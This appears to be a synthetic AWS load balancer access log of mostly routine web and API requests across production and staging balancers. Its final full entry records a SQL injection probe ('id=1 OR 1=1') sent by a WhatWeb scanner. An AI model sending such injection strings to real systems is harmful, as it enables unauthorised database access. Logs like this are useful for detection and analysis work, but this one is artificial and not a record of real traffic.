2024-11-01T02:01:31.590151Z prod-api-alb 210.219.183.141:27040 10.0.218.84:443 0.006766 0.330355 0.024746 200 200 172 10615 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d40b-69472594cf874de3860ec818" "prod-api-alb.example.com" "-" 8 2024-11-01T02:01:31.590151Z "forward" "-" "-" "10.0.218.84:443" "200" "-" "-" -https 2024-11-01T02:01:32.064215Z prod-api-alb 91.220.197.233:41610 10.0.242.218:443 0.046613 0.488928 0.038248 302 302 529 9511 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d40c-e0e633e4e4be4940a6b555c5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:01:32.064215Z "forward" "-" "-" "10.0.242.218:443" "302" "-" "-" -https 2024-11-01T02:01:32.596422Z prod-web-alb 123.44.47.176:31975 10.0.219.9:443 0.050627 0.423434 0.072150 200 200 171 1217 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d40c-1342288271ca42ca9566bad7" "prod-web-alb.example.com" "-" 9 2024-11-01T02:01:32.596422Z "forward" "-" "-" "10.0.219.9:443" "200" "-" "-" -https 2024-11-01T02:01:33.252444Z staging-alb 148.113.163.176:16877 243.33.113.117:80 0.102023 0.598050 0.119846 302 302 360 445 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d40d-43e6a39e303c4f73b12c3568" "staging-alb.example.com" "-" 1 2024-11-01T02:01:33.252444Z "forward" "-" "-" "243.33.113.117:80" "302" "-" "-" -https 2024-11-01T02:01:34.863754Z prod-web-alb 192.250.6.52:13562 10.0.117.140:443 0.057456 0.469284 0.037197 200 200 616 10689 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d40e-954c890bb7904d5dac77d741" "prod-web-alb.example.com" "-" 9 2024-11-01T02:01:34.863754Z "forward" "-" "-" "10.0.117.140:443" "200" "-" "-" -https 2024-11-01T02:01:36.345107Z prod-api-alb 253.93.173.89:19409 10.0.224.158:443 0.044542 0.312805 0.088556 404 404 997 6662 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d410-cb9da86329544e468ad785f4" "prod-api-alb.example.com" "-" 10 2024-11-01T02:01:36.345107Z "forward" "-" "-" "10.0.224.158:443" "404" "-" "-" -https 2024-11-01T02:01:36.850079Z staging-alb 232.234.10.6:14460 189.112.206.198:8080 0.147776 0.132481 0.149587 200 200 27 12689 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d410-51520afde31847e3929e72db" "staging-alb.example.com" "-" 2 2024-11-01T02:01:36.850079Z "forward" "-" "-" "189.112.206.198:8080" "200" "-" "-" -https 2024-11-01T02:01:37.093976Z staging-alb 48.82.107.183:63326 223.195.25.14:80 0.000423 0.180178 0.016269 200 200 821 4073 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d411-904ed479f094442187cee003" "staging-alb.example.com" "-" 5 2024-11-01T02:01:37.093976Z "forward" "-" "-" "223.195.25.14:80" "200" "-" "-" -https 2024-11-01T02:01:39.040373Z prod-api-alb 219.167.241.193:30877 10.0.80.168:443 0.024414 0.355945 0.053131 200 200 383 12702 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d413-d7c600aa8b164e82a70fc837" "prod-api-alb.example.com" "-" 7 2024-11-01T02:01:39.040373Z "forward" "-" "-" "10.0.80.168:443" "200" "-" "-" -https 2024-11-01T02:01:40.226497Z prod-web-alb 124.114.14.163:27407 10.0.91.13:443 0.022844 0.188694 0.036104 200 200 487 5845 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d414-ecd2f53b3804404bb49936ec" "prod-web-alb.example.com" "-" 6 2024-11-01T02:01:40.226497Z "forward" "-" "-" "10.0.91.13:443" "200" "-" "-" -https 2024-11-01T02:01:41.738389Z staging-alb 36.158.34.58:63535 233.107.207.121:8080 0.118106 0.026213 0.142343 200 200 189 11559 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d415-3fb68626773749039611f434" "staging-alb.example.com" "-" 8 2024-11-01T02:01:41.738389Z "forward" "-" "-" "233.107.207.121:8080" "200" "-" "-" -https 2024-11-01T02:01:42.922370Z prod-api-alb 113.253.102.241:61008 10.0.229.187:443 0.084488 0.254189 0.082323 301 301 794 4527 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d416-59e066e705ef432183d68803" "prod-api-alb.example.com" "-" 6 2024-11-01T02:01:42.922370Z "forward" "-" "-" "10.0.229.187:443" "301" "-" "-" -https 2024-11-01T02:01:44.297873Z staging-alb 245.112.24.145:27128 157.107.174.109:8080 0.083045 0.430943 0.047800 200 200 431 12465 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d418-22dd46d9b10d4502a5446484" "staging-alb.example.com" "-" 6 2024-11-01T02:01:44.297873Z "forward" "-" "-" "157.107.174.109:8080" "200" "-" "-" -https 2024-11-01T02:01:45.154175Z prod-api-alb 77.42.91.44:53381 10.0.9.60:443 0.090008 0.422470 0.077405 200 200 843 9074 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d419-4c2aca4a6e3e40c8971672d1" "-" "-" 5 2024-11-01T02:01:45.154175Z "forward" "-" "-" "10.0.9.60:443" "200" "-" "-" -https 2024-11-01T02:01:45.738703Z prod-api-alb 16.72.115.230:53842 10.0.31.26:443 0.024522 0.154611 0.093067 200 200 643 8734 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d419-b0ef96450de74cf8a3faba6c" "prod-api-alb.example.com" "-" 5 2024-11-01T02:01:45.738703Z "forward" "-" "-" "10.0.31.26:443" "200" "-" "-" -https 2024-11-01T02:01:46.415894Z prod-api-alb 192.162.78.183:44381 10.0.154.71:443 0.056974 0.210422 0.093549 301 301 473 539 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d41a-6b4799c0052548429313d61e" "prod-api-alb.example.com" "-" 0 2024-11-01T02:01:46.415894Z "forward" "-" "-" "10.0.154.71:443" "301" "-" "-" -https 2024-11-01T02:01:48.185604Z prod-web-alb 151.136.249.207:25990 10.0.148.202:443 0.079785 0.205495 0.089583 200 200 638 5416 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d41c-5e74040b81694a6dba3eab3b" "prod-web-alb.example.com" "-" 6 2024-11-01T02:01:48.185604Z "forward" "-" "-" "10.0.148.202:443" "200" "-" "-" -https 2024-11-01T02:01:49.420138Z prod-web-alb 22.58.157.109:12671 10.0.22.220:443 0.039057 0.321999 0.085809 200 200 198 5734 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d41d-3ba5feea88af40b7aba1af0f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:01:49.420138Z "forward" "-" "-" "10.0.22.220:443" "200" "-" "-" -https 2024-11-01T02:01:51.268082Z staging-alb 250.223.117.20:54126 79.255.180.210:80 0.131650 0.179619 0.018964 302 302 505 5922 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d41f-bd06942f4755445bbca5e58e" "staging-alb.example.com" "-" 6 2024-11-01T02:01:51.268082Z "forward" "-" "-" "79.255.180.210:80" "302" "-" "-" -https 2024-11-01T02:01:51.382156Z prod-api-alb 221.226.226.223:11106 10.0.242.179:443 0.007418 0.045843 0.082691 200 200 843 8796 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d41f-4587036369fb489cb2963d70" "prod-api-alb.example.com" "-" 4 2024-11-01T02:01:51.382156Z "forward" "-" "-" "10.0.242.179:443" "200" "-" "-" -https 2024-11-01T02:01:52.844162Z prod-web-alb 119.14.103.37:28359 10.0.35.161:443 0.052049 0.342628 0.032691 200 200 528 9869 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d420-4192961550b14fbda7c64fa0" "prod-web-alb.example.com" "-" 3 2024-11-01T02:01:52.844162Z "forward" "-" "-" "10.0.35.161:443" "200" "-" "-" -https 2024-11-01T02:01:53.423560Z prod-web-alb 54.145.137.232:36626 10.0.116.96:443 0.077970 0.082858 0.089189 301 301 188 10764 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d421-f4cd8297f63f4c42a5f3f4a9" "prod-web-alb.example.com" "-" 1 2024-11-01T02:01:53.423560Z "forward" "-" "-" "10.0.116.96:443" "301" "-" "-" -http 2024-11-01T02:01:55.043506Z staging-alb 108.61.139.164:23296 21.189.234.182:8080 0.094603 0.472854 0.001206 200 200 342 4235 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d423-4fc48840f58f42bca11e03a7" "staging-alb.example.com" "-" 8 2024-11-01T02:01:55.043506Z "forward" "-" "-" "21.189.234.182:8080" "200" "-" "-" -https 2024-11-01T02:01:56.967521Z prod-api-alb 62.95.231.254:35261 10.0.141.71:443 0.090217 0.409401 0.085853 200 200 689 13978 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d424-3365889e54e048c197fb4b2f" "prod-api-alb.example.com" "-" 10 2024-11-01T02:01:56.967521Z "forward" "-" "-" "10.0.141.71:443" "200" "-" "-" -https 2024-11-01T02:01:58.801732Z prod-api-alb 155.125.233.111:30714 10.0.66.205:443 0.088074 0.119622 0.010310 404 404 640 1069 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d426-40b89b4cf5cb4b619a1c8dc9" "prod-api-alb.example.com" "-" 3 2024-11-01T02:01:58.801732Z "forward" "-" "-" "10.0.66.205:443" "404" "-" "-" -http 2024-11-01T02:02:00.524830Z staging-alb 123.175.105.216:41059 185.78.6.98:443 0.021915 0.123172 0.093770 200 200 385 14561 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d428-a83f70f1e96b4b98a50f1642" "staging-alb.example.com" "-" 1 2024-11-01T02:02:00.524830Z "forward" "-" "-" "185.78.6.98:443" "200" "-" "-" -https 2024-11-01T02:02:00.919648Z prod-web-alb 110.15.207.175:29403 10.0.3.84:443 0.006846 0.461776 0.029973 302 302 374 7720 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d428-5590109aab574568a28faa56" "prod-web-alb.example.com" "-" 3 2024-11-01T02:02:00.919648Z "forward" "-" "-" "10.0.3.84:443" "302" "-" "-" -https 2024-11-01T02:02:02.913558Z staging-alb 8.50.145.96:60732 253.24.61.241:8080 0.134590 0.694236 0.083430 200 200 199 2039 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d42a-cfc03dda633e4a8e9b40a49b" "staging-alb.example.com" "-" 4 2024-11-01T02:02:02.913558Z "forward" "-" "-" "253.24.61.241:8080" "200" "-" "-" -https 2024-11-01T02:02:03.311392Z prod-web-alb 60.219.175.42:60143 10.0.55.9:443 0.062566 0.438461 0.072351 200 200 426 13940 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d42b-5c1d5176a4014d6fb05be80a" "prod-web-alb.example.com" "-" 1 2024-11-01T02:02:03.311392Z "forward" "-" "-" "10.0.55.9:443" "200" "-" "-" -https 2024-11-01T02:02:04.447207Z prod-web-alb 151.6.91.247:25964 10.0.193.144:443 0.084225 0.245708 0.039710 200 200 50 10873 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d42c-b9b0bfb627474d708c047eb9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:02:04.447207Z "forward" "-" "-" "10.0.193.144:443" "200" "-" "-" -http 2024-11-01T02:02:05.180000Z staging-alb 246.37.8.110:62514 92.188.48.125:80 0.107505 0.229254 0.007391 302 302 324 9726 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d42d-6dcf1fa47aef4cc5a1e7551a" "staging-alb.example.com" "-" 9 2024-11-01T02:02:05.180000Z "forward" "-" "-" "92.188.48.125:80" "302" "-" "-" -http 2024-11-01T02:02:06.345077Z staging-alb 193.236.156.3:45417 143.62.121.193:80 0.094573 0.457734 0.147055 302 302 273 11705 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d42e-494c467f372e4f98934fbf8a" "staging-alb.example.com" "-" 1 2024-11-01T02:02:06.345077Z "forward" "-" "-" "143.62.121.193:80" "302" "-" "-" -https 2024-11-01T02:02:07.498397Z prod-api-alb 200.240.68.191:60603 10.0.43.221:443 0.050052 0.003676 0.023003 301 301 660 6559 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d42f-3f516aaae11c4c67b2903ad3" "prod-api-alb.example.com" "-" 1 2024-11-01T02:02:07.498397Z "forward" "-" "-" "10.0.43.221:443" "301" "-" "-" -https 2024-11-01T02:02:08.462939Z staging-alb 179.166.88.123:57294 50.27.34.30:80 0.041321 0.122218 0.146322 200 200 937 11995 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d430-ba33fba933624548a41f9bf1" "staging-alb.example.com" "-" 7 2024-11-01T02:02:08.462939Z "forward" "-" "-" "50.27.34.30:80" "200" "-" "-" -https 2024-11-01T02:02:09.951703Z prod-web-alb 33.35.202.232:51609 10.0.14.96:443 0.037313 0.387218 0.054587 404 404 334 315 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d431-e72d98b3c941479c9e02316a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:02:09.951703Z "forward" "-" "-" "10.0.14.96:443" "404" "-" "-" -https 2024-11-01T02:02:11.197096Z prod-api-alb 208.75.57.134:62648 10.0.200.244:443 0.075517 0.003737 0.072285 302 302 414 10182 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d433-9540f07fd75043918c87a2b7" "prod-api-alb.example.com" "-" 8 2024-11-01T02:02:11.197096Z "forward" "-" "-" "10.0.200.244:443" "302" "-" "-" -https 2024-11-01T02:02:12.273513Z prod-web-alb 73.164.212.51:58946 10.0.146.62:443 0.081778 0.487867 0.087175 200 200 240 6246 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d434-2c3b0afa9b254b58adc697b4" "prod-web-alb.example.com" "-" 9 2024-11-01T02:02:12.273513Z "forward" "-" "-" "10.0.146.62:443" "200" "-" "-" -https 2024-11-01T02:02:13.050191Z prod-api-alb 147.117.163.150:23531 10.0.238.51:443 0.026216 0.153537 0.043884 302 302 125 10949 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d435-58c117d2f9214acfba6d19ee" "prod-api-alb.example.com" "-" 10 2024-11-01T02:02:13.050191Z "forward" "-" "-" "10.0.238.51:443" "302" "-" "-" -http 2024-11-01T02:02:14.040920Z staging-alb 171.88.246.155:11812 226.29.133.230:80 0.052213 0.275545 0.141402 200 200 91 8957 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d436-5bb4651f624c493b9f844a70" "staging-alb.example.com" "-" 2 2024-11-01T02:02:14.040920Z "forward" "-" "-" "226.29.133.230:80" "200" "-" "-" -https 2024-11-01T02:02:14.550035Z prod-web-alb 46.253.107.26:39550 10.0.17.254:443 0.038367 0.469003 0.072598 200 200 428 13704 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d436-c4bc6574adba4fc6b7c9fa39" "prod-web-alb.example.com" "-" 4 2024-11-01T02:02:14.550035Z "forward" "-" "-" "10.0.17.254:443" "200" "-" "-" -https 2024-11-01T02:02:15.502074Z prod-api-alb 48.231.45.194:59016 10.0.184.253:443 0.088843 0.039849 0.038055 301 301 486 938 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d437-2ccbd7f3807c4e269a59bb84" "prod-api-alb.example.com" "-" 0 2024-11-01T02:02:15.502074Z "forward" "-" "-" "10.0.184.253:443" "301" "-" "-" -http 2024-11-01T02:02:17.430064Z staging-alb 62.167.244.126:11843 242.173.11.248:443 0.135038 0.575734 0.100423 200 200 805 10547 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d439-7184812b9b1347bcacbec028" "staging-alb.example.com" "-" 6 2024-11-01T02:02:17.430064Z "forward" "-" "-" "242.173.11.248:443" "200" "-" "-" -https 2024-11-01T02:02:19.260458Z prod-api-alb 220.198.19.189:12965 10.0.128.51:443 0.090505 0.094369 0.072051 302 302 331 12624 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d43b-69d19184cf7d4248b08bb5d5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:02:19.260458Z "forward" "-" "-" "10.0.128.51:443" "302" "-" "-" -https 2024-11-01T02:02:20.743327Z prod-api-alb 14.222.18.122:17781 10.0.88.121:443 0.073494 0.310754 0.003948 301 301 900 3399 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d43c-09706d70b03f4fb99004a5fd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:02:20.743327Z "forward" "-" "-" "10.0.88.121:443" "301" "-" "-" -https 2024-11-01T02:02:21.574642Z prod-web-alb 117.224.55.9:56954 10.0.95.156:443 0.057919 0.498329 0.023861 302 302 619 13309 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d43d-c5e908b6e25944c39adc42f1" "prod-web-alb.example.com" "-" 10 2024-11-01T02:02:21.574642Z "forward" "-" "-" "10.0.95.156:443" "302" "-" "-" -http 2024-11-01T02:02:22.477604Z staging-alb 147.180.227.146:42518 179.91.252.243:8080 0.125850 0.033019 0.087635 200 200 943 8097 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d43e-95eb0651983f40d6b7b9216f" "staging-alb.example.com" "-" 6 2024-11-01T02:02:22.477604Z "forward" "-" "-" "179.91.252.243:8080" "200" "-" "-" -https 2024-11-01T02:02:22.960273Z prod-api-alb 45.155.205.164:26197 10.0.227.229:443 0.071401 0.083762 0.062643 500 500 355 5264 "POST /users?id=1 OR 1=1 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d43e-1475209eda48484bbb9ce83a" "-" "-" 7 2024-11-01T02:02:22.960273Z "forward" "-" "-" "10.0.227.229:443" "500" "-" "-" -https 2024-11-01T02:02:24.597778Z 